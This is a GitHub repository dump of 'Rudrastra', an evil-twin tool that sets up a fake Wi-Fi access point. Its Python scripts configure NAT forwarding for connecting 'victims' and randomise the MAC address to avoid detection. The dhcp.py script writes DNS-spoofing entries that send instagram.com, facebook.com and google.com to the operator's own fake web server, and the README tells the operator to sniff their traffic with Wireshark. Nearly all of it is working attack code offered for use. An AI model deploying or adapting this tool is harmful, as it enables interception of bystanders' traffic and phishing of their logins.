├── rd.png ├── ritm.png ├── install.sh ├── reset.sh ├── LICENSE ├── README.md ├── internet.py ├── dhcp.py └── fake_ap.py /rd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vrikodar/Rudrastra/HEAD/rd.png -------------------------------------------------------------------------------- /ritm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vrikodar/Rudrastra/HEAD/ritm.png -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #By SxNade 4 | #https://github.com/SxNade/Rudrastra 5 | #CONTRIBUTE 6 | 7 | echo "[*]Installing All The Required Dependencies....!" 8 | echo "[*]You must be on a Linux Host...preferably on Debian/Linux" 9 | echo "*** RUDRASTRA ***" 10 | sudo apt install aircrack-ng 11 | sudo apt install macchanger 12 | sudo apt install hostapd 13 | sudo apt install dnsmasq 14 | sudo apt install python3-pip 15 | sudo apt install iptables 16 | sudo pip3 install termcolor 17 | echo "[*]All the Required Dependencies Have Been Installed....!" 18 | 19 | -------------------------------------------------------------------------------- /reset.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | #By SxNade 5 | #https://github.com/SxNade/Rudrastra 6 | #CONTRIBUTE 7 | 8 | echo [*]Resetting all the changes made...... 9 | iptables --flush --table nat 10 | iptables --flush FORWARD 11 | echo 0 > /proc/sys/net/ipv4/ip_forward 12 | echo [*]Deleting Configuration Files..... 13 | rm hostapd.conf 14 | rm dnsmasq.conf 15 | rm fakehosts.conf 16 | echo [+]The Reset Was Successfully Completed... 17 | echo [+]Consider Restarting the Networking Service with "service networking restart".. 18 | echo [+] Also Reset the monitor mode AP interface using "airmon-ng stop " 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, SxNade 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![SxNade](https://img.shields.io/badge/MadeBy-SxNade-red) 2 | 3 | 4 | ![Capture](https://github.com/SxNade/Rudrastra/blob/main/rd.png) 5 | 6 | 7 | **`The All in One Weapon For Making Fake Access point!`** 8 | 9 | **NOTE** : My repositories are only hosted on my offcial github page https://github.com/SxNade and May be refered on other page at https://SxNade.github.io , If you find some-body else claiming or posting them on some-kind of website social media etc.. Don't Trust it. I never publish anything about my repos on any other platform than my official github page https://github.com/SxNade or at https://SxNade.github.io 10 | 11 | # No Longer Maintained 12 | - This Project is no longer updated 13 | - A Better Version of same Project can be found at [https://github.com/SxNade/SP-108](https://github.com/SxNade/SP-108) 14 | 15 | # 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 16 | TO Install all The Required Dependencies...RUN THE FOLLOWING COMMANDS 17 | 18 | $ git clone https://github.com/SxNade/Rudrastra 19 | $ cd Rudrastra 20 | $ chmod +x install.sh 21 | 22 | $ ./install.sh 23 | 24 | # 𝗠𝗢𝗥𝗘 𝗜𝗡𝗙𝗢 25 | 26 | These Scripts Work Best With Python3 27 | 28 | **`Use Python3 to run the Scripts`** 29 | 30 | 31 | # 𝙍𝙐𝙉𝙉𝙄𝙉𝙂 𝙏𝙃𝙀 𝙁𝘼𝙆𝙀-𝘼𝙋 32 | 33 | # 𝙎𝙏𝙀𝙋 1 34 | This step involves configuring the IPtable rules and preparing the interfaces..! 35 | 36 | `python3 internet.py ` 37 | 38 | # 𝙎𝙏𝙀𝙋 2 39 | This step involves Configuring DHCP Server To assign IP address to Devices Connecting to our AP! 40 | 41 | `python3 dhcp.py` 42 | 43 | # 𝙎𝙏𝙀𝙋 3 44 | This Step involves setting up the Fake-Ap and Finally running it.. 45 | 46 | `python3 fake_ap.py` 47 | 48 | # 𝙎𝙏𝙀𝙋 4 49 | `Now WE have our Fake AP Running we can Now Use Wireshark to Sniff Packets by selecting the FAKE-AP interface..` 50 | 51 | # 𝙎𝙏𝙀𝙋 5 52 | After Closing DHCP and FAKE-AP... you can ...run following commands to reset IP table rules and other modifications made..! 53 | 54 | `chmod +x reset.sh` 55 | 56 | `./reset.sh` 57 | 58 | # 𝑴𝑨𝑲𝑬_𝑰𝑻_𝑩𝑬𝑻𝑻𝑬𝑹 59 | To make Rudrastra Even Better Contribute to it Or use and Report Any Bugs or fixes Required... 60 | 61 | `git clone https://github.com/SxNade/Rudrastra` 62 | 63 | 64 | ![Capture](https://raw.githubusercontent.com/SxNade/Rudrastra/main/ritm.png) 65 | -------------------------------------------------------------------------------- /internet.py: -------------------------------------------------------------------------------- 1 | #By SxNade 2 | #https://github.com/SxNade/Rudrastra 3 | #CONTRIBUTE 4 | 5 | #CONFIGURE INTERNET ACESS ON FAKE--AP 6 | 7 | from termcolor import colored 8 | import os 9 | import sys 10 | 11 | #importing the required Libraries... 12 | 13 | gol = ''' 14 | // ) ) 15 | //___/ / ___ / __ ___ ___ __ ___ __ ___ 16 | / ___ ( // / / // ) / // ) ) // ) ) (( ) ) / / // ) ) // ) ) 17 | // | | // / / // / / // // / / \ \ / / // // / / 18 | // | | ((___( ( ((___/ / // ((___( ( // ) ) / / // ((___( ( ''' 19 | 20 | print(gol) 21 | 22 | if len(sys.argv) != 3: 23 | #and here we have a little banner when you run the script without enough arguments...!! 24 | print(colored("\n\n[*]Usage python3 Internet&Interface.py ", "red")) 25 | sys.exit(0) 26 | 27 | 28 | print(colored("\n[+] This Script will Configure The IP Tables Rules and interfaces.....!", "green", attrs=['bold'])) 29 | 30 | #Capturing the user input for Interfaces to be used in EVIL-TWIN 31 | inter_ifc = sys.argv[1] 32 | ap_ifc = sys.argv[2] 33 | 34 | mon_ifc = ap_ifc + "mon" 35 | 36 | 37 | #Defining a Function That will Forward the IP table Rules and Configure the Internet Access For Victims..! 38 | def forward(inter_ifc, ap_ifc): 39 | print(colored("[+]Preparing The FAKE-AP interface..!", "green", attrs=['bold'])) 40 | os.system(f'airmon-ng start {ap_ifc} > /dev/null') 41 | print(colored("\n\nConfiguring the internet Access..!", "green", attrs=['bold'])) 42 | os.system(f'ifconfig {mon_ifc} up 192.168.1.1 netmask 255.255.255.0') 43 | os.system(f'route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1') 44 | os.system(f'iptables --table nat --append POSTROUTING --out-interface {inter_ifc} -j MASQUERADE') 45 | os.system(f'iptables --append FORWARD --in-interface {mon_ifc} -j ACCEPT') 46 | print(colored("\nEnabling IP Forwarding NOW.....!", "green", attrs=['bold'])) 47 | os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 48 | print(colored("\n\n[*]Everything SET....NOW you can run the Fake AP using fake_ap.py file", "red", attrs=['bold'])) 49 | 50 | 51 | #Function For Changing the MAC-ADDRESS of the Fake Access Point..! 52 | def mac_spoof(): 53 | ans = input("\n\n[*] Do you want to Randemize Your MAC-address....(Y/N)!") 54 | if ans == "Y": 55 | os.system(f"ifconfig {mon_ifc} down") 56 | os.system(f"macchanger -r {mon_ifc}") 57 | os.system(f"ifconfig {mon_ifc} up") 58 | print(colored("\n\n[*] Succesfully Randemized MAC-address for Fake-AP")) 59 | sys.exit(0) 60 | 61 | #Defining a main function that will run the whole script 62 | def main(): 63 | forward(inter_ifc, ap_ifc) 64 | #mac spoof function to change the mac address....(your neighbours might catch you LOL...!!) 65 | mac_spoof() 66 | 67 | 68 | #Finally Calling The main Function To Run the Program..! 69 | main() 70 | -------------------------------------------------------------------------------- /dhcp.py: -------------------------------------------------------------------------------- 1 | #By SxNade 2 | #https://github.com/SxNade/Rudrastra 3 | #CONTRIBUTE 4 | #CONFIGURE INTERNET ACCESS FOR DEVICES CONNECTING** 5 | 6 | from termcolor import colored 7 | import sys 8 | import os 9 | import time 10 | #importing the required Libraries.. 11 | 12 | 13 | # print(colored("\n[+]Configuring IP Assignment For Fake AP.......!", "green", attrs=['bold'])) 14 | print(colored("\n[+] Making Network Configuration...", "green", attrs=['bold'])) 15 | print(colored("========================================================================================================", "blue", attrs=['bold'])) 16 | 17 | 18 | ifc = str(input(colored("\n[*] Enter The Monitor-Mode Interface used For Fake-AP: ", "red", attrs=['bold']))) 19 | 20 | #Function to make the dnsmasq.conf file required for DHCP 21 | def writing_file(): 22 | file = open("dnsmasq.conf", 'w') 23 | #this might look anoying but adding \n to statement's end was not working...LOL!! so I had to do this....!!! 24 | file.write(f"interface={ifc}") 25 | file.write("\n") 26 | file.write("dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h") 27 | file.write("\n") 28 | file.write("dhcp-option=3,192.168.1.1") 29 | file.write("\n") 30 | file.write("dhcp-option=6,192.168.1.1") 31 | file.write("\n") 32 | file.write("server=8.8.8.8") 33 | file.write("\n") 34 | file.write("log-queries") 35 | file.write("\n") 36 | file.write("log-dhcp") 37 | file.write("\n") 38 | file.write("listen-address=127.0.0.1") 39 | file.close() 40 | print(colored("DHCP File Wrote Successfully.....!", "green", attrs=['bold'])) 41 | 42 | 43 | fake_host = input(colored("[*] Enable DNS Request Redirection::[Y/N]=> ", "red", attrs=['bold'])) 44 | 45 | 46 | #Receiving User Input For configuring the DNS-Spoofing File.. 47 | if fake_host == "Y": 48 | ans = input(colored("[*] Enable DNS Request Redirection to your Local...apache Server::[Y/N]=> ", "red", attrs=['bold'])) 49 | if ans == "Y": 50 | print(colored("[+] Starting Apache Server On Your System...", "green", attrs=['bold'])) 51 | os.system("service apache2 start") 52 | print(colored("[!] Writing fakehosts File", "green")) 53 | print(colored("=============================================================================================================================", 'red', attrs=['bold'])) 54 | time.sleep(2) 55 | serv_ip = input("[*] Enter The IP of Your Fake Server: ") 56 | file = open("fakehosts.conf", 'w') 57 | file.write(f"{serv_ip} instagram.com") 58 | file.write("\n") 59 | file.write(f"{serv_ip} facebook.com") 60 | file.write("\n") 61 | file.write(f"{serv_ip} google.com") 62 | file.write("\n") 63 | file.write(f"{serv_ip} https*") 64 | file.close() 65 | print(colored("[+] Redirection Configuration Successfull...", "red", attrs=['bold'])) 66 | elif ans == 'N': 67 | print(colored("=============================================================================================================================", 'red', attrs=['bold'])) 68 | print(colored("[+] Server Is Now ready to use..", 'green', attrs=['bold'])) 69 | elif fake_host == "N": 70 | print(colored("=============================================================================================================================", 'red', attrs=['bold'])) 71 | print(colored("[+] Server is Ready To use..", 'green', attrs=['bold'])) 72 | 73 | 74 | ask = input(colored("\n\n[*] Enable DHCP server now...[Y/N]=> ", "red", attrs=['bold'])) 75 | 76 | #Conditional Statements for Running The DHCP Server... 77 | if ask == "Y": 78 | writing_file() 79 | print(colored("\n[+] Fake-AP can be configured and Enabled with..start-ap.py", "green", attrs=['bold'])) 80 | time.sleep(4) 81 | os.system("clear") 82 | print(colored("[#] Online........", "green", attrs=['bold'])) 83 | print(colored("=============================================================================================================================\n", 'blue', attrs=['bold'])) 84 | #starting dnsmasq which will allot IP addresses...... 85 | os.system("dnsmasq -C dnsmasq.conf -d -H fakehosts.conf") 86 | elif ask == "N": 87 | print(colored("[+] Exiting now", "red", attrs=['bold'])) 88 | sys.exit(0) 89 | elif ask and ans == "Y": 90 | print(colored("\n\n[+]Now you can configure and start the AP with..start-ap.py!", "green")) 91 | os.system("clear") 92 | print(colored("[#] Online.......", "green", attrs=['bold'])) 93 | print(colored("=============================================================================================================================\n", 'blue', attrs=['bold'])) 94 | os.system("dnsmasq -C dnsmasq.conf -d -H fakehosts.conf") 95 | 96 | else: 97 | print(colored("\n\nUNEXCPECTED INPUT...exiting now..", 'red', attrs=['bold'])) 98 | sys.exit(0) 99 | -------------------------------------------------------------------------------- /fake_ap.py: -------------------------------------------------------------------------------- 1 | #By SxNade 2 | #https://github.com/SxNade/Rudrastra 3 | #CONTRIBUTE 4 | #START THE FAKE ACESS POINT*** 5 | 6 | from termcolor import colored 7 | import sys 8 | import os 9 | import time 10 | #importing the required Libraries 11 | ap = ''' 12 | ________________________________________________________________________________ 13 | ____ __ ____ 14 | / ) / / | / ) 15 | ---/___ /-----------__-/---)__----__---__--_/_---)__----__--------/__|---/____/- 16 | / | / / / / / ) / ) (_ ` / / ) / ) === / | / 17 | _/_____|__(___(__(___/___/_____(___(_(__)_(_ __/_____(___(______/____|_/________ 18 | ''' 19 | 20 | print(ap) 21 | time.sleep(1) 22 | print("\nRudrastra (v1.1) starting...\n") 23 | time.sleep(0.5) 24 | 25 | print(colored("[+]Configuring Fake AP now....!", "green", attrs=['bold'])) 26 | 27 | #Receiving the User Input For Properties of Access Point.. 28 | ssid = input(colored("[*] Enter The Broadcast Name For your Fake-AP: ", "red")) 29 | ifc = input(colored("[*] Enter The Monitor mode Interface For your Fake-AP: ", "red")) 30 | cl = input(colored("[*] Enter The Channel For your Fake-AP OR Type anything Between 1-14: ", "red")) 31 | ask = input("\n\n[*]Do you want a Password for your Fake-AP..(Y/N)") 32 | 33 | #Conditional Statement For Handelling Error In-case User INPUT is Invalid 34 | if int(cl) > 14 or int(cl) < 1: 35 | print(colored("[!]YOU ENTERED WRONG CHANNEL!!", "red", attrs=['bold'])) 36 | print(colored("[!]Exiting Now....", "red", attrs=['bold'])) 37 | sys.exit(0) 38 | 39 | #A Function That will Both make the Fake-ap file and also run the Fake-ap..This Function will also ask the user If they want a OPEN Wifi or WPA2-Wifi 40 | def ap_file(): 41 | if ask == "Y": 42 | #Making Password a Global Variable as it is used in Inclosed in a Function Already and is Also Used in Other Two Functions Used For Creating the Fake-AP 43 | global Password 44 | Password = input(colored("[*] Enter The Password For your Fake-AP: ")) 45 | print(colored("\n[+]Making Fake-Ap config File...", "green")) 46 | time.sleep(3) 47 | make_pass_wifi_file() 48 | print(colored("\n\n[+]FAKE AP READY TO DEPLOY!!", "green", attrs=['bold'])) 49 | check = input(colored("\n[!]Do you want to Run the Fake AP Now..(Y/N)", "red", attrs=['bold'])) 50 | if check == "Y": 51 | start_fake_AP() 52 | elif check == "N": 53 | print(colored("[!]YOU SAID NO EXITING NOW...", "red", attrs=['bold'])) 54 | sys.exit(0) 55 | elif ask == "N": 56 | print(colored("\n[+]Making OPEN Fake-AP config file", "green", attrs=['bold'])) 57 | make_open_wifi_file() 58 | print(colored("\n\n[+]FAKE AP READY TO DEPLOY!!", "green", attrs=['bold'])) 59 | check = input(colored("[*]Do you want to Run the Fake AP Now..(Y/N)", "red", attrs=['bold'])) 60 | if check == "Y": 61 | start_fake_AP() 62 | elif check == "N": 63 | print(colored("[!]YOU SAID NO EXITING NOW...", "red", attrs=['bold'])) 64 | sys.exit(0) 65 | 66 | 67 | #This Function will make File for a OPEN Wifi that is with no Password..! 68 | def make_open_wifi_file(): 69 | file = open("hostapd.conf", 'w') 70 | file.write(f"interface={ifc}") 71 | file.write("\n") 72 | file.write(f"ssid={ssid}") 73 | file.write("\n") 74 | file.write(f"channel={cl}") 75 | file.write("\n") 76 | file.write("hw_mode=g") 77 | file.close() 78 | 79 | #This Function will make a File for a WPA2 Wifi which has the Password Specified By the User..! 80 | def make_pass_wifi_file(): 81 | file = open("hostapd.conf", 'w') 82 | file.write(f"interface={ifc}") 83 | file.write("\n") 84 | file.write("driver=nl80211") 85 | file.write("\n") 86 | file.write(f"ssid={ssid}") 87 | file.write("\n") 88 | file.write("hw_mode=g") 89 | file.write("\n") 90 | file.write(f"channel={cl}") 91 | file.write("\n") 92 | file.write("macaddr_acl=0") 93 | file.write("\n") 94 | file.write("ignore_broadcast_ssid=0") 95 | file.write("\n") 96 | file.write("auth_algs=1") 97 | file.write("\n") 98 | file.write("wpa=2") 99 | file.write("\n") 100 | file.write(f"wpa_passphrase={Password}") 101 | file.write("\n") 102 | file.write("wpa_key_mgmt=WPA-PSK") 103 | file.write("\n") 104 | file.write("wpa_pairwise=CCMP") 105 | file.write("\n") 106 | file.write("wpa_group_rekey=86400") 107 | file.write("\n") 108 | file.write("ieee80211n=1") 109 | file.write("\n") 110 | file.write("wme_enabled=1") 111 | file.close() 112 | 113 | #This Function will Finally Run the FAKE-ACCESS-POINT 114 | def start_fake_AP(): 115 | print(colored("<0>ONLINE", "green", attrs=['bold'])) 116 | os.system("hostapd hostapd.conf") 117 | 118 | #Main Function That will Run the Whole Script 119 | def main(): 120 | ap_file() 121 | 122 | #Finally Calling the Main Function to Run the Program..! 123 | main() 124 | 125 | 126 | 127 | #This Function will be used Later in a UPDATE that will Be made SOON..! 128 | def reset(): 129 | os.system("iptables --flush --table nat") 130 | os.system("iptables --flush FORWARD") 131 | os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") 132 | #alternative to reset shell script....LOL..!f**k it..! 133 | 134 | --------------------------------------------------------------------------------